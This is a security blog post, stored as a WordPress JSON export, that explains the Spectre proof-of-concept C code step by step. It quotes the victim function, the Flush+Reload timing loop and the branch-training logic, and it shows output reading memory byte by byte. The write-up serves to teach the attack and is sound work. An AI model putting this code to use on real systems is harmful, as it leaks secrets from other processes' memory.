{"id":11155,"date":"2018-01-17T12:40:02","date_gmt":"2018-01-17T20:40:02","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2018\/01\/17\/news-4926\/"},"modified":"2018-01-17T12:40:02","modified_gmt":"2018-01-17T20:40:02","slug":"news-4926","status":"publish","type":"post","link":"https:\/\/www.palada.net\/index.php\/2018\/01\/17\/news-4926\/","title":{"rendered":"Into the Implementation of Spectre"},"content":{"rendered":"<p><strong>Credit to Author: Axelle Apvrille| Date: Wed, 17 Jan 2018 17:00:59 +0000<\/strong><\/p>\n<div class=\"entry\">\n<p cid=\"n2\" mdtype=\"paragraph\">In this blog post, we will get into the <strong>details of the implementation<\/strong> of <a href=\"https:\/\/spectreattack.com\/spectre.pdf\" spellcheck=\"false\">Spectre<\/a>, the exploit that targets the vulnerbilities found in CPUs built by AMD, ARM, and Intel. We assume you are familiar with the concept of the attack, and you can inspect the Proof of Concept source code provided in the Appendix of the paper linked above. You might also find it easier to read this blog post with the <a href=\"https:\/\/github.com\/Eugnis\/spectre-attack\/blob\/master\/Source.c\" spellcheck=\"false\">source code side by side<\/a>.<\/p>\n<p cid=\"n4\" mdtype=\"paragraph\">Let&#39;s start.<\/p>\n<p cid=\"n6\" mdtype=\"paragraph\">Lines 5 and 8 include the appropriate files for <code>rdtscp<\/code> and <code>clflush<\/code> used in the <strong>Flush+Reload<\/strong> cache attack. Note that those instructions are not available on all processors. For instance, <code>rdtscp<\/code> (used to read the time stamp counter) is typically only available on newer CPUs. <code>rdtsc<\/code> is more common but non-serializing, meaning that the CPU may re-order it, and consequently for timing attacks it is used along with a serializing instruction such as <code>cpuid<\/code>. If neither <code>rdtscp<\/code> or <code>rdtsc<\/code> are available, there are other options (I plan to detail how to work this out on ARM in a follow-up blog post).<\/p>\n<pre cid=\"n8\" contenteditable=\"false\" lang=\"c\" mdtype=\"fences\">  #ifdef _MSC_VER  #include <intrin.h> \/* for rdtscp and clflush *\/  #pragma optimize(&quot;gt&quot;, on)  #else  #include <x86intrin.h> \/* for rdtscp and clflush *\/  #endif<\/x86intrin.h><\/intrin.h><\/pre>\n<p cid=\"n9\" mdtype=\"paragraph\">At line 21, <code>array1<\/code> represents a shared memory space between the victim and the attacker. We don&#39;t care what&#39;s inside this area. Its size in the code is 160 bytes, but that&#39;s just an example: it works fine with another size \ud83d\ude09<br \/>  The array1 is surrounded by two unused arrays: those are useful to ensure we hit different cache lines. On many processors (e.g Intel i3, i5, i7, ARM Cortex A53, etc) the L1 cache has 64 bytes per line.<\/p>\n<pre cid=\"n12\" contenteditable=\"false\" lang=\"c\" mdtype=\"fences\">  uint8_t unused1[64];  uint8_t array1[160] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16};  uint8_t unused2[64];<\/pre>\n<p cid=\"n13\" mdtype=\"paragraph\">At line 25, we have <strong>secret<\/strong> information. This secret is known only to the victim, and it&#39;s what the attacker is trying to recover.<br \/>  <strong>In the PoC, both victim and attacker share the same process. This is just to make the code simpler<\/strong>. In reality, the victim and the attacker would share a memory space and the attacker would have the ability to call <code>victim_function()<\/code> (lines 29-35).By the way, I wondered why the secret info was <code>The Magic Words are Squeamish Ossifrage<\/code>. Such a strange sentence! In this case, <a href=\"https:\/\/en.wikipedia.org\/wiki\/The_Magic_Words_are_Squeamish_Ossifrage\" spellcheck=\"false\">Wikipedia<\/a> is your friend and explains this as the solution to an RSA ciphertext challenge from 1977&#8230;<\/p>\n<p cid=\"n17\" mdtype=\"paragraph\">Then, at lines 27-35, we have the vulnerable victim function. My understanding of line 27 is that it is a tweak to ensure the compiler does not remove the <code>victim_function()<\/code> at compilation time.&nbsp;The <code>victim_function()<\/code> itself is well explained in Section 4 of the <a href=\"https:\/\/spectreattack.com\/spectre.pdf\" spellcheck=\"false\">Spectre paper<\/a>. With a value of x exceeding <code>array1_size<\/code>, a processor vulnerable to Spectre does the following:<\/p>\n<ol cid=\"n20\" mdtype=\"list\" start=\"\">\n<li cid=\"n21\" mdtype=\"list_item\">\n<p cid=\"n22\" mdtype=\"paragraph\">Reads <code>array1_size<\/code>. This results in a cache miss.<\/p>\n<\/li>\n<li cid=\"n24\" mdtype=\"list_item\">\n<p cid=\"n25\" mdtype=\"paragraph\">While the processor is fetching <code>array1_size<\/code> &#8211; which is &quot;long&quot; because there is a cache miss &#8211; the branch predictor assumes the <code>if<\/code> will be true (bad guess).<\/p>\n<\/li>\n<li cid=\"n27\" mdtype=\"list_item\">\n<p cid=\"n28\" mdtype=\"paragraph\">Speculative read of <code>array1[x]<\/code>. This is fast because it&#39;s a cache hit.<\/p>\n<\/li>\n<li cid=\"n30\" mdtype=\"list_item\">\n<p cid=\"n31\" mdtype=\"paragraph\">Read <code>array2[array1[x] * 512]<\/code>. This is long (cache miss).<\/p>\n<\/li>\n<li cid=\"n33\" mdtype=\"list_item\">\n<p cid=\"n34\" mdtype=\"paragraph\">While the read at step 4 is pending, the value of step 1 arrives. The processor realizes it made a bad guess and rewinds its state.<\/p>\n<\/li>\n<\/ol>\n<pre cid=\"n36\" contenteditable=\"false\" lang=\"c\" mdtype=\"fences\">  uint8_t temp = 0; \/* Used so compiler won&#39;t optimize out victim_function() *\/  \u200b  void victim_function(size_t x)  {      if (x &lt; array1_size)      {          temp &amp;= array2[array1[x] * 512];      }  }<\/pre>\n<p cid=\"n37\" mdtype=\"paragraph\">Have you noticed that the paper mentions <code>k*256<\/code>, where k is <code>array1[x]<\/code> (i.e. <code>array1[x] * 256<\/code>) while we have in the code <code>array1[x] * 512<\/code>? The multiplication factor needs to be the <strong>size of a cache line<\/strong>. Presumably, at the time of implementation, the authors realized that for most Intel processors this was, as we said earlier, 64 bytes per line, i.e 64*8 = 512. This value is processor dependant.<\/p>\n<p cid=\"n39\" mdtype=\"paragraph\">Starting at line 43 we have the <code>readMemoryByte()<\/code> function. This tries to guess the value located at a given address. For all possible byte values (there are 256) the function will test how long it takes to access that value using a Flush+Reload cache attack.<br \/>  The various timings are stored in the <code>results<\/code> table and only the two best guesses are returned by the function.<\/p>\n<p cid=\"n42\" mdtype=\"paragraph\">Lines 52-53 merely initialize the results table. No cache attack here.<\/p>\n<pre cid=\"n43\" contenteditable=\"false\" lang=\"c\" mdtype=\"fences\">  for (i = 0; i &lt; 256; i++)   &nbsp; &nbsp;results[i] = 0;<\/pre>\n<p cid=\"n45\" mdtype=\"paragraph\">The cache attack is implemented between lines 54 and 89. First, to start in a clear state, we flush the entire <code>array2<\/code> table.This table is shared with the attacker, and it needs to be able to store 256 different cache lines. Remember, a cache line size is 512 bits.<\/p>\n<pre cid=\"n48\" contenteditable=\"false\" lang=\"c\" mdtype=\"fences\">  for (i = 0; i &lt; 256; i++)   &nbsp; _mm_clflush(&amp;array2[i * 512]); \/* intrinsic for clflush instruction *\/<\/pre>\n<p cid=\"n49\" mdtype=\"paragraph\">Next, the idea is to call the <code>victim_function()<\/code> several times (see lines 62-77). In sequence, it will:<\/p>\n<p cid=\"n51\" mdtype=\"paragraph\">First, flush the cache line<\/p>\n<pre cid=\"n53\" contenteditable=\"false\" lang=\"c\" mdtype=\"fences\">  _mm_clflush(&amp;array1_size);<\/pre>\n<p cid=\"n54\" mdtype=\"paragraph\">Next, to my understanding, the followinf lines are there to ensure the flush is done, and the processor does not re-order it. The comment mentions that an <code>mfence<\/code> could be issued instead, where <code>mfence<\/code> is a serializing instruction on Intel and AMD. I believe a <code>cpuid<\/code> would work as well.<\/p>\n<pre cid=\"n56\" contenteditable=\"false\" lang=\"c\" mdtype=\"fences\">  for (volatile int z = 0; z &lt; 100; z++)  {  } \/* Delay (can also mfence) *\/<\/pre>\n<p cid=\"n57\" mdtype=\"paragraph\">Third, compute x. These lines are hard to understand. I&#39;m sure the authors could have worked out something more readable \ud83d\ude09 but we&#39;ll see it is a nice tweak.<\/p>\n<pre cid=\"n59\" contenteditable=\"false\" lang=\"c\" mdtype=\"fences\">  \/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 *\/  \/* Avoid jumps in case those tip off the branch predictor *\/  x = ((j % 6) - 1) &amp; ~0xFFFF; \/* Set x=FFF.FF0000 if j%6==0, else x=0 *\/  x = (x | (x &gt;&gt; 16)); \/* Set x=-1 if j%6=0, else x=0 *\/  x = training_x ^ (x &amp; (malicious_x ^ training_x));<\/pre>\n<p cid=\"n60\" mdtype=\"paragraph\">Fourth, call <code>victim_function()<\/code><\/p>\n<p cid=\"n62\" mdtype=\"paragraph\">Instead of trying to understand the lines at step three, it is easier to just edit the code with a <code>printf<\/code> and watch the values as the program runs. This is what we get:<\/p>\n<pre cid=\"n64\" contenteditable=\"false\" lang=\"\" mdtype=\"fences\">  ...  j=23 tries=999 malicious_x=18446744073707453224 training_x=7 x=7  j=22 tries=999 malicious_x=18446744073707453224 training_x=7 x=7  j=21 tries=999 malicious_x=18446744073707453224 training_x=7 x=7  j=20 tries=999 malicious_x=18446744073707453224 training_x=7 x=7  j=19 tries=999 malicious_x=18446744073707453224 training_x=7 x=7  j=18 tries=999 malicious_x=18446744073707453224 training_x=7 x=18446744073707453224  j=17 tries=999 malicious_x=18446744073707453224 training_x=7 x=7  j=16 tries=999 malicious_x=18446744073707453224 training_x=7 x=7  j=15 tries=999 malicious_x=18446744073707453224 training_x=7 x=7  j=14 tries=999 malicious_x=18446744073707453224 training_x=7 x=7  j=13 tries=999 malicious_x=18446744073707453224 training_x=7 x=7  j=12 tries=999 malicious_x=18446744073707453224 training_x=7 x=18446744073707453224  ...<\/pre>\n<p cid=\"n65\" mdtype=\"paragraph\">We quickly understand that the lines will generate <strong>five times a small x<\/strong>, which will lead to <code>victim_function(x)<\/code> to take the branch. Those five times are there to train the branch predictor to assume the branch will be taken&#8230; Because of the five prior trainings, a vulnerable process will speculatively execute the <code>if<\/code> branch on the sixth iteration.<\/p>\n<p cid=\"n67\" mdtype=\"paragraph\">After <code>victim_function()<\/code> has been called with a bad branch guess, we read how long it takes to access given byte values in the cache. That&#39;s the core of the cache attack (lines 79-89).<\/p>\n<pre cid=\"n69\" contenteditable=\"false\" lang=\"c\" mdtype=\"fences\">  \/* Time reads. Order is lightly mixed up to prevent stride prediction *\/  for (i = 0; i &lt; 256; i++)  {      mix_i = ((i * 167) + 13) &amp; 255;      addr = &amp;array2[mix_i * 512];      time1 = __rdtscp(&amp;junk); \/* READ TIMER *\/      junk = *addr; \/* MEMORY ACCESS TO TIME *\/      time2 = __rdtscp(&amp;junk) - time1; \/* READ TIMER &amp; COMPUTE ELAPSED TIME *\/      if (time2 &lt;= CACHE_HIT_THRESHOLD &amp;&amp; mix_i != array1[tries % array1_size])          results[mix_i]++; \/* cache hit - add +1 to score for this value *\/  }<\/pre>\n<p cid=\"n70\" mdtype=\"paragraph\">As the comment says, we are not simply measuring time to access each byte in a sequence, but mixing them so that the processor cannot guess which byte it will access next and then optimize accesses. This is handled by line 82.<\/p>\n<p cid=\"n72\" mdtype=\"paragraph\">Then, at line 83, <code>addr = &amp;array2[mix_i * 512]<\/code> computes the address of the cache line to inspect. In the next lines, 84-86, we <strong>time the access to a value in this cache line<\/strong>. If this goes fast, it is a cache hit. If it is slow, it is a cache miss. If we have a cache hit, it means that the cache line was recently accessed during the previous call to <code>victim_function()<\/code>.Remember that the previous call to <code>victim_function()<\/code> was run with a big <code>x<\/code> meant to fool the processor. During that execution, the processor speculatively (and wrongly) accessed array1[x] where <code>x<\/code> is far bigger than the size of the array, resulting in a read in the memory far beyond. The choice of <code>x<\/code> is tuned (or guessed) to hit in the zone where the <code>secret<\/code> is written.For example, suppose the processor read the letter <code>M<\/code> of <code>Magic<\/code> in the <code>secret<\/code>. So, <code>array1[x]=&#39;M&#39;<\/code>, and consequently, at line 33, the processor accesses <code>array2[&#39;M&#39;*512]<\/code>.<\/p>\n<p cid=\"n78\" mdtype=\"paragraph\" style=\"text-align: center;\"><img decoding=\"async\" alt=\"\" src=\"https:\/\/d3gpjj9d20n0p3.cloudfront.net\/ngblog\/uploads\/files\/spectre-diagram.png\" style=\"width: 300px; height: 424px;\" \/><\/p>\n<p cid=\"n80\" mdtype=\"paragraph\">As a reminder, this is line 33 in the <code>victim_function()<\/code>:<\/p>\n<pre cid=\"n81\" contenteditable=\"false\" lang=\"c\" mdtype=\"fences\">  temp &amp;= array2[array1[x] * 512];<\/pre>\n<p cid=\"n83\" mdtype=\"paragraph\">As the processor accessed <code>array2[&#39;M&#39;*512]<\/code> it cached line number <code>(byte)&#39;M&#39;<\/code>. So, hopefully, if you have followed me up to now, you have understood that this reveals the value of that particular character in the secret as <code>mix_i = array1[x] = &#39;M&#39;<\/code>. So, we will record that results[&#39;M&#39;] is a good cache hit:<\/p>\n<pre cid=\"n87\" contenteditable=\"false\" lang=\"c\" mdtype=\"fences\">  if (time2 &lt;= CACHE_HIT_THRESHOLD &amp;&amp; mix_i != array1[tries % array1_size])      results[mix_i]++; \/* cache hit - add +1 to score for this value *\/<\/pre>\n<p cid=\"n88\" mdtype=\"paragraph\">The test for <code>CACHE_HIT_THRESHOLD<\/code> is pretty clear. Below that it&#39;s a cache hit, and above it isn&#39;t. I suspect the value for <code>CACHE_HIT_THRESHOLD<\/code> was obtained by various tests at research time.Why does it test <code>mix_i != array1[tries % array1_size]<\/code>? I am not sure about this one, but I suspect it is ruling out this index because it would typically serve more cache hits because <code>tries<\/code> is the current index value.<\/p>\n<p cid=\"n91\" mdtype=\"paragraph\">Good. The rest of <code>readMemoryByte<\/code> is not very interesting: it just selects the two byte values it found with the most striking cache hit.<\/p>\n<p cid=\"n93\" mdtype=\"paragraph\">We now jump to line 118 at the beginning of the <code>main()<\/code>:<\/p>\n<pre cid=\"n95\" contenteditable=\"false\" lang=\"c\" mdtype=\"fences\">  size_t malicious_x = (size_t)(secret - (char *)array1); \/* default for malicious_x *\/<\/pre>\n<p cid=\"n96\" mdtype=\"paragraph\">What&#39;s happening here? In the layout of the memory of the process, we have <code>array1<\/code>, then a bunch of bytes, and then the <code>secret<\/code>.So, when we are reading <code>array1<\/code> beyond its limits in <code>victim_function()<\/code>, if we want to read bytes inside the <code>secret<\/code> we need to jump over a given offset of bytes. To compute the offset we know that <code>array1 + offset = secret<\/code>. So, <code>offset = secret - array1<\/code> \ud83d\ude42<\/p>\n<p cid=\"n99\" mdtype=\"paragraph\">Note that if we want to run the Spectre code to read other parts of the memory, this is absolutely possible. See lines 124-130:<\/p>\n<pre cid=\"n101\" contenteditable=\"false\" lang=\"c\" mdtype=\"fences\">  if (argc == 3)  {          sscanf_s(argv[1], &quot;%p&quot;, (void * *)(&amp;malicious_x));          malicious_x -= (size_t)array1; \/* Convert input value into a pointer *\/          sscanf_s(argv[2], &quot;%d&quot;, &amp;len);          printf(&quot;Trying malicious_x = %p, len = %dn&quot;, (void *)malicious_x, len);  }<\/pre>\n<p cid=\"n102\" mdtype=\"paragraph\">The first argument is the address to be read. The second argument is how many bytes we want to read. In the example below, we provide the address of the secret and read only 10 bytes.<\/p>\n<pre cid=\"n105\" contenteditable=\"false\" lang=\"\" mdtype=\"fences\">  $ .\/spectre.out 0x400d08 10  Putting &#39;The Magic Words are Squeamish Ossifrage.&#39; in memory  Reading 10 bytes:  Reading at malicious_x = 0xffffffffffdfec68 ... Success: 0x54=&#39;T&#39; score=2   Reading at malicious_x = 0xffffffffffdfec69 ... Success: 0x68=&#39;h&#39; score=2   Reading at malicious_x = 0xffffffffffdfec6a ... Success: 0x65=&#39;e&#39; score=2   Reading at malicious_x = 0xffffffffffdfec6b ... Success: 0x20=&#39; &#39; score=2   Reading at malicious_x = 0xffffffffffdfec6c ... Success: 0x4D=&#39;M&#39; score=2   Reading at malicious_x = 0xffffffffffdfec6d ... Success: 0x61=&#39;a&#39; score=2   Reading at malicious_x = 0xffffffffffdfec6e ... Success: 0x67=&#39;g&#39; score=2   Reading at malicious_x = 0xffffffffffdfec6f ... Success: 0x69=&#39;i&#39; score=2   Reading at malicious_x = 0xffffffffffdfec70 ... Success: 0x63=&#39;c&#39; score=2   Reading at malicious_x = 0xffffffffffdfec71 ... Success: 0x20=&#39; &#39; score=2<\/pre>\n<p cid=\"n106\" mdtype=\"paragraph\">We can also try and read more than the length of the secret. For example, below we read 100 bytes and we recognize the strings&nbsp;<code>Putting %s in memory<\/code>, etc.<\/p>\n<pre cid=\"n109\" contenteditable=\"false\" lang=\"\" mdtype=\"fences\">  $ .\/spectre.out 0x400d08 100  ...  Reading at malicious_x = 0xffffffffffdfec8f ... Success: 0x2E=&#39;.&#39; score=2   Reading at malicious_x = 0xffffffffffdfec90 ... Success: 0x00=&#39;?&#39; score=2   Reading at malicious_x = 0xffffffffffdfec91 ... Success: 0x50=&#39;P&#39; score=2   Reading at malicious_x = 0xffffffffffdfec92 ... Success: 0x75=&#39;u&#39; score=2   Reading at malicious_x = 0xffffffffffdfec93 ... Success: 0x74=&#39;t&#39; score=2   Reading at malicious_x = 0xffffffffffdfec94 ... Success: 0x74=&#39;t&#39; score=2   Reading at malicious_x = 0xffffffffffdfec95 ... Success: 0x69=&#39;i&#39; score=2   Reading at malicious_x = 0xffffffffffdfec96 ... Success: 0x6E=&#39;n&#39; score=2   Reading at malicious_x = 0xffffffffffdfec97 ... Success: 0x67=&#39;g&#39; score=2   Reading at malicious_x = 0xffffffffffdfec98 ... Success: 0x20=&#39; &#39; score=2   Reading at malicious_x = 0xffffffffffdfec99 ... Success: 0x27=&#39;&#39;&#39; score=2   Reading at malicious_x = 0xffffffffffdfec9a ... Success: 0x25=&#39;%&#39; score=2   Reading at malicious_x = 0xffffffffffdfec9b ... Success: 0x73=&#39;s&#39; score=2   Reading at malicious_x = 0xffffffffffdfec9c ... Success: 0x27=&#39;&#39;&#39; score=2   Reading at malicious_x = 0xffffffffffdfec9d ... Success: 0x20=&#39; &#39; score=2   Reading at malicious_x = 0xffffffffffdfec9e ... Success: 0x69=&#39;i&#39; score=2   Reading at malicious_x = 0xffffffffffdfec9f ... Success: 0x6E=&#39;n&#39; score=2   Reading at malicious_x = 0xffffffffffdfeca0 ... Success: 0x20=&#39; &#39; score=2   Reading at malicious_x = 0xffffffffffdfeca1 ... Success: 0x6D=&#39;m&#39; score=2   Reading at malicious_x = 0xffffffffffdfeca2 ... Success: 0x65=&#39;e&#39; score=2   Reading at malicious_x = 0xffffffffffdfeca3 ... Success: 0x6D=&#39;m&#39; score=2   Reading at malicious_x = 0xffffffffffdfeca4 ... Success: 0x6F=&#39;o&#39; score=2   Reading at malicious_x = 0xffffffffffdfeca5 ... Success: 0x72=&#39;r&#39; score=2   Reading at malicious_x = 0xffffffffffdfeca6 ... Success: 0x79=&#39;y&#39; score=2   Reading at malicious_x = 0xffffffffffdfeca7 ... Success: 0x0A=&#39;?&#39; score=2   Reading at malicious_x = 0xffffffffffdfeca8 ... Success: 0x00=&#39;?&#39; score=2 <\/pre>\n<p cid=\"n110\" mdtype=\"paragraph\">Lines 133 to 145 attempt to read <code>len<\/code> bytes at a given offset (<code>malicious_x<\/code>) in memory, using the Spectre attack implemented in <code>readMemoryByte()<\/code>.<\/p>\n<pre cid=\"n113\" contenteditable=\"false\" lang=\"c\" mdtype=\"fences\">  while (--len &gt;= 0)      {          printf(&quot;Reading at malicious_x = %p... &quot;, (void *)malicious_x);          readMemoryByte(malicious_x++, value, score);  ...<\/pre>\n<p cid=\"n114\" mdtype=\"paragraph\">Recall that <code>readMemoryByte()<\/code> returns at most two values for which we recorded more than two cache hits. Personally, in all cases I tried, there was only either one value or none. If there are none, the program displays the word &#39;Unclear&#39;. If there are one or two values, it displays <code>Success<\/code> and prints the values (see lines 137-144).<\/p>\n<p cid=\"n116\" mdtype=\"paragraph\">Done! Hope you had fun following the code.<\/p>\n<p cid=\"n118\" mdtype=\"paragraph\">For this work, I wish to thank the <strong>LabSoC team of Telecom Paristech<\/strong>, in particular <a href=\"https:\/\/perso.telecom-paristech.fr\/apvrille\/\" spellcheck=\"false\">Ludovic Apvrille<\/a> and <a href=\"https:\/\/perso.telecom-paristech.fr\/pacalet\/\" spellcheck=\"false\">Renaud Pacalet<\/a>, for their helpful insights and answers to my questions. I also thank Minh Tran, David Maciejak and William McGee for their review.<\/p>\n<p cid=\"n120\" mdtype=\"paragraph\">&#8212; the Crypto Girl<\/p>\n<\/div<br \/><a href=\"https:\/\/blog.fortinet.com\/2018\/01\/17\/into-the-implementation-of-spectre\" target=\"bwo\" >https:\/\/blog.fortinet.com\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/d3gpjj9d20n0p3.cloudfront.net\/ngblog\/uploads\/files\/spectre-diagram.png\"\/><\/p>\n<p><strong>Credit to Author: Axelle Apvrille| Date: Wed, 17 Jan 2018 17:00:59 +0000<\/strong><\/p>\n<p>In this blog post, we will get into the details of the implementation of Spectre, the exploit that targets the vulnerbilities found in CPUs built by AMD, ARM, and Intel. We assume you are familiar with the concept of the attack, and you can inspect the Proof of Concept source code provided in the Appendix of the paper linked above. You might also find it easier to read this blog post with the source code side by side.<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10424,10378],"tags":[],"class_list":["post-11155","post","type-post","status-publish","format-standard","hentry","category-fortinet","category-security"],"_links":{"self":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/11155","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=11155"}],"version-history":[{"count":0,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/11155\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=11155"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=11155"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=11155"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}